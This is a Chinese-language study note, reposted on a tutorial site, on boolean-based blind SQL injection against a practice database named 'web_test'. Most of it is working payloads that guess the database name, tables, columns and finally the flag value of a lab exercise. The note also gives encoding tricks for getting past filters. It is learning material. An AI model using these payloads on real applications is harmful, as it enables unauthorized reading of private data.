当前位置:Gxlcms > 数据库问题 > sql盲注学习

sql盲注学习

时间:2021-07-01 10:21:17 帮助过:9人阅读

information_schema.schemata(schema_name)
information_schema.tables(table_name,table_schema)
information_schema.columns(column_name,table_name)

盲注与poc编写:https://bbs.ichunqiu.com/thread-31587-1-1.html

基于bool报错的sql注入:
了解sql语句的嵌套与sql常用函数:http://blog.51cto.com/bxbx258/106008、
mysql中的字符集与常用字符编码绕过:
ascii():http://tool.oschina.net/commons?type=4
在前端:html实体编码:&#xx,js:\uxx,url:%xx [0-255]
在php与MySQL中:可以注入十六进制字符串:\uxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

猜数据库:字符长度,具体字符
-1‘ or length(database())=10# 8
-1‘ or left(database(),1)>‘m‘#

abcdef ghijklm nopqr stuvwxyz

admin‘ or left(database(),2)>|=‘we‘# admin‘ or left(database(),8)=‘web_test‘#

猜数据库中的表:
admin‘ or length(select table_name from information_schema.tables where table_schema=‘web_test‘ limit 0,1)>10#

admin‘ or length((select table_name from information_schema.tables where table_schema=‘web_test‘ limit 0,1))=4# user 注意这个必须为两个括号

admin‘ or ascii(substr((select table_name from information_schema.tables where table_schema=‘web_test‘ limit 0,1),1,1))=117#
admin‘ or substr((select table_name from information_schema.tables where table_schema=‘web_test‘ limit 0,1),1,4)=‘USER‘#
web_test.flag
猜字段
admin‘ or (select count(column_name) from information_schema.columns where table_name=‘flag‘)>10# 猜数目

admin‘ or length((select column_name from information_schema.columns where table_name=‘flag‘))>5# 猜长度4
admin‘ or substr((select column_name from information_schema.columns where table_name=‘flag‘),1,4)=‘flag‘#

admin‘ or ascii(substr((select flag from web_test.flag),1,1))>32#
flag{8o5_1s_th3_b3st_c1ass}

sql盲注学习

标签:字符   了解   .net   长度   sql注入   bcd   from   数据库   html   

人气教程排行